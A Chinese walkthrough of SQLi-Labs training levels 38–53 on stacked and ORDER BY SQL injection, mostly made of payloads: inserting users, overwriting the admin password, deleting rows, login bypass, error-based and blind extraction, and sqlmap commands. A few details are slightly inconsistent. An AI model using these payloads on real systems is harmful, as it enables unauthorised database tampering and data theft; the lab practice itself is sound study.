SQLi-Labs 通关笔记(Less-38 ~ Less-53):堆叠注入与 ORDER BY 注入


目录

  • Less-38:堆叠注入初探(单引号闭合)
  • Less-39:数字型堆叠注入
  • [Less-40:单引号 + 括号堆叠注入](#Less-40:单引号 + 括号堆叠注入)
  • Less-41:数字型堆叠注入(无报错)
  • [Less-42:POST 堆叠注入(单引号闭合)](#Less-42:POST 堆叠注入(单引号闭合))
  • [Less-43:POST 堆叠注入(单引号 + 括号)](#Less-43:POST 堆叠注入(单引号 + 括号))
  • [Less-44:POST 堆叠注入(单引号闭合)](#Less-44:POST 堆叠注入(单引号闭合))
  • [Less-45:POST 堆叠注入(单引号 + 括号)](#Less-45:POST 堆叠注入(单引号 + 括号))
  • [Less-46:ORDER BY 报错注入](#Less-46:ORDER BY 报错注入)
  • [Less-47:ORDER BY 单引号报错注入](#Less-47:ORDER BY 单引号报错注入)
  • [Less-48:ORDER BY 布尔/时间盲注](#Less-48:ORDER BY 布尔/时间盲注)
  • [Less-49:ORDER BY 单引号盲注](#Less-49:ORDER BY 单引号盲注)
  • [Less-50:ORDER BY 数字型堆叠注入](#Less-50:ORDER BY 数字型堆叠注入)
  • [Less-51:ORDER BY 单引号堆叠注入](#Less-51:ORDER BY 单引号堆叠注入)
  • [Less-52:ORDER BY 数字型盲注堆叠](#Less-52:ORDER BY 数字型盲注堆叠)
  • [Less-53:ORDER BY 单引号堆叠注入](#Less-53:ORDER BY 单引号堆叠注入)

Less-38:堆叠注入初探(单引号闭合)

这一关的本质在于后端代码从 mysql_query()​ 升级到了 mysqli_multi_query()​。

  • 普通注入 (Union):像一条直线,你只能在原本的查询语句后面拼接内容。
  • 堆叠注入 (Stacked):像一串鞭炮,通过分号 ; 将多条独立的 SQL 语句连接在一起执行。

测闭合:

复制代码
?id=1'

报错。

复制代码
?id=1'--+

正常。

执行插入:

复制代码
?id=1'; INSERT INTO users(id,username,password) VALUES (777,'test','test')--+

检查数据库: 刷新页面,访问 ?id=777​。

  • 如果出来了 test:说明堆叠注入没问题。

常规 Union 查询:

复制代码
?id=-1' union select 1,database(),version()--+

插入新用户:

复制代码
?id=1' ; insert into users(id,username,password) values(38,'hacker','123456')--+

用 ?id=38​ 访问,或者直接去数据库查看,会发现多了一个名为 hacker​ 的用户。


Less-39:数字型堆叠注入

判断类型:

  • 输入 ?id=1' 报错,输入 ?id=1 正常。
  • 输入 ?id=1 and 1=2 页面无数据,说明是数字型注入。

堆叠操作:

复制代码
?id=1;insert into users(id,username,password) values(39,'new_user','password')--+

?id=1;update users set password='hacked' where username='admin'--+

?id=1;delete from users where id=39--+

Less-40:单引号 + 括号堆叠注入

寻找闭合点:

  • 输入 ?id=1':页面正常显示(说明后端可能屏蔽了错误,或者单引号被包裹了)。

  • 输入 ?id=1') --+:页面正常显示。

  • 输入 ?id=1') and 1=2 --+:页面不显示数据。

  • 结论:闭合方式是 ')(单引号 + 右括号)。

    ?id=-1') union select 1,database(),version()--+

掌握了 ')​ 这个闭合点,剩下的操作和之前完全一样。


Less-41:数字型堆叠注入(无报错)

判断类型:

  • 输入 ?id=1':页面显示正常或无数据,但不报 SQL 语法错误。

  • 输入 ?id=1 and 1=2:页面数据消失。

  • 结论:数字型注入,且后端关闭了报错输出。

    ?id=1; update users set password='newpassword' where id=1--+

明明 insert​ 能成功(说明堆叠注入逻辑没问题),为什么 sleep​ 却不产生延时?

这通常不是你的 Payload 有问题,而是由 PHP 的 mysqli_multi_query()​ 函数特性 和 后端处理逻辑 共同导致的。

核心原因:PHP 脚本"提前收工"了

在 sqli-labs​ 的后端代码中,处理堆叠注入通常流程如下:

  1. PHP 调用 mysqli_multi_query() 把你那串 ; 分隔的语句全发给 MySQL。
  2. MySQL 收到后开始执行。第一条是 SELECT(查询 ID 为 1 的数据),第二条是 SELECT sleep(5)。
  3. 关键点: mysqli_multi_query() 执行后,PHP 默认只会去取 第一条语句 的执行结果。

如果后端代码逻辑是这样的:

  • 执行多条语句 → 获取第一条结果 → 立刻把结果显示在页面上并结束脚本。
  • 此时,MySQL 数据库后台可能确实还在老老实实地"睡觉",但 PHP 已经把页面发回给你的浏览器了。

结果就是: 你在网页上秒看到了内容,而数据库在后台默默地睡够了 5 秒才解脱,但这个延迟已经无法反馈到网页的加载时间上了。

堆叠注入的"隐身"特性

你遇到的现象正好证明了 堆叠注入(Stacked Injections) 的一个重要特性:后续语句的执行往往是"异步"或"静默"的。

  • 增/删/改:由于不需要回显,即便后端脚本结束了,数据库依然会完成任务。
  • 查(Select/Sleep):由于后端只认第一条结果,后续的查询结果(包括 sleep 导致的延迟)往往会被"丢弃"或"忽略"。

这就解释了为什么: 你的堆叠注入确实可用(insert​ 成功),但 sleep​ 看起来像失效了一样。


Less-42:POST 堆叠注入(单引号闭合)

绕过登录(万能密码): 如果只是想进去,可以使用 admin' or 1=1 #​

堆叠注入:添加新管理员

  • Username: admin (或者任意字符)

  • Password:

    c' ; insert into users(id,username,password) values(42,'post_admin','123456')#

逻辑:闭合掉密码部分的单引号,分号结束查询,插入新数据,#​ 注释掉后端剩余的内容。

堆叠注入:删除数据

  • Username: admin

  • Password:

    c' ; delete from users where username='new_user'#


Less-43:POST 堆叠注入(单引号 + 括号)

  • 用户名输入 admin,密码输入 1'。如果没有报错或者报错信息显示有括号,就要怀疑括号闭合。
  • 尝试密码输入 1') #。如果页面返回正常(或提示登录失败但语法不报错),说明闭合成功。

依然建议在 Password(密码框) 进行注入,因为用户名框通常会被加上更多的过滤或限制。

A. 堆叠注入:创建"后门"用户

在密码框输入:

复制代码
c') ; insert into users(id,username,password) values(43,'less43','pass')#

执行后,尝试用用户名 less43​ 和密码 pass​ 登录。

B. 堆叠注入:修改管理员密码

在密码框输入:

复制代码
admin') ; update users set password='123' where username='admin'#

C. 堆叠注入:联动报错(如果需要查数据)

虽然这关重点是堆叠,但如果你想快速看数据库名:

复制代码
c') or updatexml(1,concat(0x7e,database()),1)#

Less-44:POST 堆叠注入(单引号闭合)

  1. 输入正常账号:admin​ / admin​ → 登录成功(看到图片或 Welcome)。

  2. 测试数字型:

    • Password: admin'# → 登录失败。
    • Password: admin# → 如果登录成功,说明是数字型。为什么?因为后端语句变成了 WHERE password=admin#,后面的验证被注释了,直接以 admin 身份登录。
  3. 测试单引号型:

    • Password: 1' or 1=1# → 如果登录成功,说明是单引号闭合。

44 关实战结论:经过测试,你会发现输入 admin'#​ 或 1' or 1=1#​ 都能成功。这说明 44 关是 单引号字符型注入。

密码框:

复制代码
1'; insert into users(id,username,password) values(444, 'asdfg', '123')#

​asdfg​ / 123​ 登录成功。


Less-45:POST 堆叠注入(单引号 + 括号)

由于没有报错,我们还是得用"逻辑测试":

  • Password: admin'# → 失败。
  • Password: admin')# → 登录成功。
  • 结论:闭合方式是 ')(单引号 + 右括号)。

A. 堆叠注入:修改管理员密码

为了验证你的闭合是否正确,可以尝试把 admin​ 的密码改掉:

复制代码
c') ; update users set password='666' where username='admin'#

验证:尝试用 admin​ / 666​ 登录。如果成功,说明闭合 ')​ 完全正确。

B. 堆叠注入:插入新用户

这是最稳妥的练习方式:

复制代码
c') ; insert into users(id,username,password) values(45,'stacked45','pass')#

验证:用新账号 stacked45​ 登录。


Less-46:ORDER BY 报错注入

  • 注入位置:URL 参数 ?sort=1。
  • 核心逻辑:后端 SQL 语句类似于 SELECT * FROM users ORDER BY $sort。
  • 挑战点:在 ORDER BY 后面,你不能直接使用 UNION SELECT(因为语法不匹配)。你需要利用 报错注入 或 时间盲注 来获取信息。

在 ORDER BY​ 注入中,通常有三种主要的探测方式:

  1. 报错注入:利用 updatexml() 或 extractvalue() 函数。如果页面能回显错误信息,这是最快的方法。

  2. 基于列数的注入:通过修改 sort 的值(如 1, 2, 3),观察页面按照哪一列排序。

  3. 盲注(布尔/时间):如果页面不报错,可以利用 rand() 函数或 if() 配合 sleep() 进行判断。

    ?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1)

如果页面不报错,可以使用时间盲注:

复制代码
?sort=1 and (if(ascii(substr(database(),1,1))>100,sleep(5),1))

如果数据库名的第一个字符 ASCII 码大于 100,则延迟 5 秒。

观察结构:

  • ?sort=1(按 ID 排序)
  • ?sort=2(按 Username 排序)
  • ?sort=3(按 Password 排序)

这能帮你确认当前表有几列,以及 sort​ 参数是如何影响页面的。

核心原理:SQL 语句的结构化顺序

当你访问 ?sort=1​ 时,后台执行的 SQL 逻辑大致如下:

复制代码
SELECT id, username, password FROM users ORDER BY 1;

在这里,数字 1​ 并不是指"数值 1",而是指 "结果集中的第 1 列"。

  • ORDER BY 1:告诉数据库,请按照你查出来的第一个字段(即 id)进行升序排列。

  • ORDER BY 2:按照第二个字段(即 username)排列。

  • ORDER BY 3:按照第三个字段(即 password)排列。

  • 确定字段总数:如果你输入 ?sort=3 页面正常,输入 ?sort=4 页面报错或显示异常,你就知道这个表只有 3 列。这和我们在 UNION 注入里用 order by 探测字段数是一个道理。

  • 确认注入点类型:如果 ?sort=1 desc(降序)和 ?sort=1 asc(升序)导致页面内容完全反转,说明该参数确实被拼接进了 ORDER BY 位置,而不是被当成了 WHERE 条件。

    ?sort=1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)

这种注入方式的本质是:利用数据库在执行排序指令前的"前置计算"阶段。

数据库想:"我要按照 1 AND [一个函数]​ 的结果来排序。" 为了算出这个结果,它必须先执行那个函数。函数一执行就报错,报错信息就被甩到了前端页面上。


Less-47:ORDER BY 单引号报错注入

  • 注入位置:URL 参数 ?sort=1。

  • 后端 SQL 结构:SELECT * FROM users ORDER BY '$sort'。

  • ?sort=1' → 页面报错。

    ?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

    ?sort=1' and (if(ascii(substr(database(),1,1))>100,sleep(5),1))--+ (盲注情况下)


Less-48:ORDER BY 布尔/时间盲注

  • 注入位置:URL 参数 ?sort=1。
  • 注入类型:数字型(没有单引号包裹)。
  • 挑战点:无回显、无报错。
  • 核心逻辑:只能通过页面内容的变化(布尔盲注)或加载时间的差异(时间盲注)来提取数据。

A. 布尔盲注(基于 Rand 函数)

​rand()​ 函数可以生成随机数。如果给它一个布尔表达式作为种子,排序结果就会发生变化。

Payload:

复制代码
?sort=rand(ascii(left(database(),1))>100)

原理:

  • 如果数据库名第一位的 ASCII 码 > 100(真),rand(1) 会产生固定的排序序列。
  • 如果假,rand(0) 会产生另一套排序序列。
  • 通过对比页面第一行数据的变化,就能像玩"二选一"游戏一样猜出数据。

B. 时间盲注(基于 Sleep 函数)- 最推荐

这是最直观的方法。既然看不见报错,就让数据库"卡一下"。

Payload:

复制代码
?sort=1 and (if(ascii(substr(database(),1,1))>100,sleep(5),1))

原理:

  • 如果判断为真,页面加载会明显延迟 5 秒。
  • 如果判断为假,页面秒回。

sqlmap:

复制代码
python sqlmap.py -u "/Less-48/?sort=1" --technique B --dbms mysql --level 3 --risk 3 --batch --current-db

Less-49:ORDER BY 单引号盲注

  • 注入位置:URL 参数 ?sort=1。
  • 注入类型:字符型(带单引号 ')。
  • 挑战点:无报错、无回显。
  • 核心逻辑:你需要先闭合单引号,然后再进行盲注。

在不使用工具的情况下,你需要通过页面的排序变化来盲测闭合字符:

  • 访问 ?sort=1' --+ → 页面排序异常(或恢复默认)。
  • 访问 ?sort=1' and (if(1=1,sleep(2),1)) --+ → 观察是否有延迟。

为什么会 500 报错?(爆炸级延迟)

在 WHERE​ 子句中,sleep(2)​ 通常只执行一次。但在 ORDER BY​ 子句中,情况完全不同:

  • 逐行执行:当你写 ORDER BY 1' and sleep(2)--+​ 时,数据库在对结果集进行排序。为了确定每一行的顺序,它会对每一行数据都执行一次后面的 sleep(2)​。

  • 累积效应:如果你的 users​ 表里有 15 行数据,那么总延迟就是 秒。

  • 超时崩溃:

    1. PHP 超时:PHP 脚本默认执行时间通常是 30 秒。如果数据库"睡"了 30 秒还没返回,PHP 就会直接强行断开连接,报 500 错误。
    2. Apache/Nginx 超时:Web 服务器等不及数据库的响应,也会直接抛出 500。

避免超时的 Payload:

复制代码
?sort=1' and (if(ascii(substr(database(),1,1))>100, 1, (select 1 from information_schema.tables)))--+

sqlmap:

复制代码
python sqlmap.py -u "/Less-49/?sort=1" --technique B --dbms mysql --level 3 --risk 3 --batch

Less-50:ORDER BY 数字型堆叠注入

  • 注入位置:?sort=1。

  • 注入类型:数字型。

  • 核心变化:后端改用了 mysqli_multi_query() 函数。

  • 这意味着:你不需要再苦哈哈地去猜 sleep 几秒或者看排序变化了。既然能堆叠,我们直接在分号 ; 后面下达指令。

    ?sort=1; insert into users(id,username,password) values(50,'hacker50','pwned')--+

方法 A:刷新页面观察法(最简单)

我们可以插入一条 ID 很大的数据,然后按 ID 降序排列,看看它会不会出现在表格的第一行。

  1. 执行注入(插入数据):在 URL 输入:

    复制代码
    ?sort=1;insert into users(id,username,password) values(99,"zxc","pass123")--+
  2. 验证结果:修改 URL 为按 ID 降序排列:?sort=1 desc​

    观察:如果表格第一行出现了 id: 99, username: Gemini_Test​,说明注入成功了!

方法 B:使用数据库工具(最直观)

如果你是本地环境(如 phpStudy),直接打开 phpMyAdmin 或 Navicat。

  1. 刷新 security 数据库下的 users 表。
  2. 看有没有多出你刚才插入的那一行。

删数据:

复制代码
?sort=1;delete from users where id=99;--+

Less-51:ORDER BY 单引号堆叠注入

  • ?sort=1 → 正常排序。

  • ?sort=1' → 报错。你会看到类似于 ...near ''1''' 的错误。

  • ?sort=1'--+ → 恢复正常排序。

  • 结论:这是一个单引号字符型注入点,且支持报错。

    ?sort=1'; insert into users(id,username,password) values(51,'Less51','pwned')--+

既然支持堆叠,我们利用 ;​ 执行第二条指令。注意,因为是字符型,你必须先用 '​ 闭合左边,再用 --+​ 注释掉右边。

Payload:

复制代码
?sort=1'; insert into users(id,username,password) values(51,'Less51','pwned')--+
第三步:验证结果

由于没有登录页面,我们依然采用"降序观察法":在浏览器访问 ?sort=id desc​(或者 ?sort=1 desc​)

观察:看表格的第一行是否出现了 id: 51, username: Less51​


Less-52:ORDER BY 数字型盲注堆叠

注入位置:?sort=1​

虽然不报错,但你可以通过排序变化来确认:

  • ?sort=1 desc → 正常降序。

  • ?sort=1 and sleep(2) → 如果转圈了,说明是数字型且存在注入点。

    ?sort=1; insert into users(id,username,password) values(52,'Less52_Blind','secret')--+

  1. 刷新页面,输入:?sort=id desc。
  2. 观察:看表格第一行是否出现了 id: 52, username: Less52_Blind。

Less-53:ORDER BY 单引号堆叠注入

  • 输入 ?sort=1' → 页面数据消失或排序错乱(说明 ' 破坏了 SQL)。

  • 输入 ?sort=1' --+ → 页面恢复正常排序。

  • 结论:这是单引号字符型注入。

    ?sort=1'; insert into users(id,username,password) values(53,'Less53_Final','done')--+

  • ?sort=id desc。

  • 观察:如果表格第一行跳出了 id: 53, username: Less53_Final


相关推荐
今天也是元气满满的一天呢1 小时前
20260512-SQL学习大览
数据库·sql·学习
渣渣灰95871 小时前
U-Boot启动流程
经验分享·笔记
北秋,1 小时前
Web Security Academy 第二关:SQL 注入登录绕过
数据库·sql
思麟呀1 小时前
MySQL基础CRUD语句
数据库·mysql
funnycoffee1231 小时前
cisco Firepower 4110 9300 FXOS set chassis hostname
java·服务器·数据库
六月雨滴1 小时前
Oracle 数据库诊断文件与故障排查
数据库
问心无愧05131 小时前
ctf show web入门48
android·前端·笔记
草莓熊Lotso1 小时前
【Linux网络】从 0 到 1 实现高性能 UDP 聊天室:深入拆解 Linux 网络编程与线程池架构
linux·运维·服务器·网络·数据库·c++·udp
咖啡里的茶i1 小时前
实验一 数据库定义
数据库·oracle